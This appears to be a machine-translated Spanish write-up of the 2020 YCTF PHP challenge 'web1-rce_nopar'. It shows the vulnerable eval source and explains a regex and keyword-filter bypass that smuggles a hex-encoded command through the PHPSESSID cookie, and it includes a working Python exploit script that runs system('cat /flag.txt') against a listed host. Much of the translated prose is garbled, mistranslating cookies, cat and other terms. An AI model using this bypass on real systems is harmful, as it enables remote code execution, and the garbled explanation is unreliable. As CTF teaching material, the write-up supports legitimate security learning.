[2020YCTF] web1-rce_nopar

[YCTF] web1-rce_nopar

Prefacio:

Título versión entorno del juego: PHP / 5.5.9-1ubuntu4.14

Si desea probar de forma local, trata de la versión utilización cercana, he probado la versión básica 5.6 se puede utilizar.

Si usted posee una acumulación local de carga útil sin éxito, por favor, compruebe la versión de PHP.

Después de las pruebas locales, la carga útil de la versión PHP7.2, la carga útil no va a funcionar, no se consigue el indicador.

La razón es la versión actualizada de los cambios en el código de ejecución de funciones subyacentes.

Estudio: hay argumentos RCE, sesión usando expresiones regulares

Entrar en la página, se muestra a continuación el código php.

<?php
if(isset($_GET['var'])){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
        if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
               eval($_GET['var']);
        } else {
            die("Sorry!");
        }
}
else{
    show_source(__FILE__);
}
?>

El código de la llave es el siguiente:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
    if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
        eval($_GET['var']);
    }
}

El primer análisis de la capa externa si la expresión regular frase:

[^\W]+\((?R)?\)

En primer lugar [^\W]:

Donde "[]" representa el principio del final del partido, "^" denota negada.

\W(Tenga en cuenta que esta es una capital W), una organización no coinciden con las letras, números, guiones bajos. Es equivalente a [^A-Za-z0-9_].

Es [^\W]anterior se \wniega: Que todas letra subrayada alfanumérico.

No están familiarizados con la atención regular en el regulares "+" es para empalmar toda la expresión, que no tienen por qué coincidir con el "+"

entonces \((?R)?\):

En donde ambos lados \( 和\)indica un paréntesis de partido.

(?R), (? R) representa la propia expresión recursiva,

(?R)?Por último, las "?" Medios para que coincida con una expresión o 0 en sí, el último "?" Esencial.

En resumen, es probable que claras.

toda Regular se pone en la forma del contenido correspondiente se extrae, a continuación, preg_replace , ser reemplazado por una función de cadena vacía para obtener una cadena.

La cadena resultante debe ser exactamente igual ";" la.

Nuestra carga sustancialmente el siguiente formulario, puede tomar las letras, números, guiones bajos.

Debe entender mejor esta regular, hay que ser libre de utilizar los parámetros de la función.

a(b_c());

La determinación de si la siguiente frase Análisis interno

De hecho, la capa interna de relativamente mejor que la normal, lo más importante es la capa externa regular.

/et|dir|na|info|dec|oct|pi|log/i

Ambos lados de la "/" es el comienzo y el final de toda la expresión, i representa el final de la mayúsculas y minúsculas.

A | separada por una variedad de situaciones de partido.

A saber: et, dir, na, información, DEC, oct, pi, de registro es caracteres ilegales.

En resumen, la segunda regulares:

Nos parámetro de entrada, no con et, dir, na, información, DEC, oct, pi, o bien conectarse, incluso caso mixto también.

Entramos en la etapa de construcción de la carga útil

Exp antes de que se le da, esto sigue siendo relativamente buena explicación.

El guión es python2, python3 la encode () Utiliza la función serán diferentes

import requests

url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'

payload ="system('cat /flag.txt');".encode('hex')
#73797374656d2827636174202f666c61672e74787427293b
cookies = {

'PHPSESSID':payload

}
r = requests.get(url=url,cookies=cookies)

print (r.content)

Después del análisis, tenemos ideas

Nosotros los parámetros claros forma general: un (b_c ());

Var se debe pasar sin argumentos, pero no hizo uso de parámetros de ejecución eval no es realista.

Necesitamos herramientas especiales para obtener los parámetros necesarios para ejecutar un comando, como ~: Galletas.

galletas tienen la PHPSESSID , () llame a la session_start PHP; después de la función genera automáticamente.

Por supuesto, en las normas legales, podemos cambiar el PHPSESSID valor.

Resumen: El uso de parámetros de configuración de sesión sin RCE

función de la interpretación:

La atención cuidadosa a entender la función de uso session_id, que es por eso que queremos ejecutar una instrucción de comando en la cadena hexadecimal razones.

función características: Precaución:
session_start (); Crear una nueva sesión o reutilizar una sesión existente. Si por GET o modo POST, o utilizar la cookie presentó un identificador de sesión, se reutilizará una sesión existente.
ID de sesión(); Se puede utilizar para obtener / establecer el identificador de sesión actual. gestor de sesión diferente tiene diferentes restricciones a la identificación de caracteres se pueden utilizar. Algunos pacientes Manager permite el uso de caracteres: * az AZ 0-9, (coma) - (signo menos).
hex2bin (); Para convertir una cadena de valores hexadecimales a cadenas de caracteres ASCII.
eval (); cadena de código PHP a cabo.

Función proceso de ejecución:

las variables var y pasaron nuestra PHPSESSID después:

eval ($ _ GET [ 'var']); gatillo

Los detalles de implementación son los siguientes:

La secuencia de comandos en el presente documento cáscara <==> sistema ( '/flag.txt gato');

eval("eval(hex2bin(session_id(session_start())));");

Por último, se obtiene el contenido de valor Flag.txt del archivo.

imagen-20200329011744791

Supongo que te gusta

Origin www.cnblogs.com/h3zh1/p/12590568.html
Recomendado
Clasificación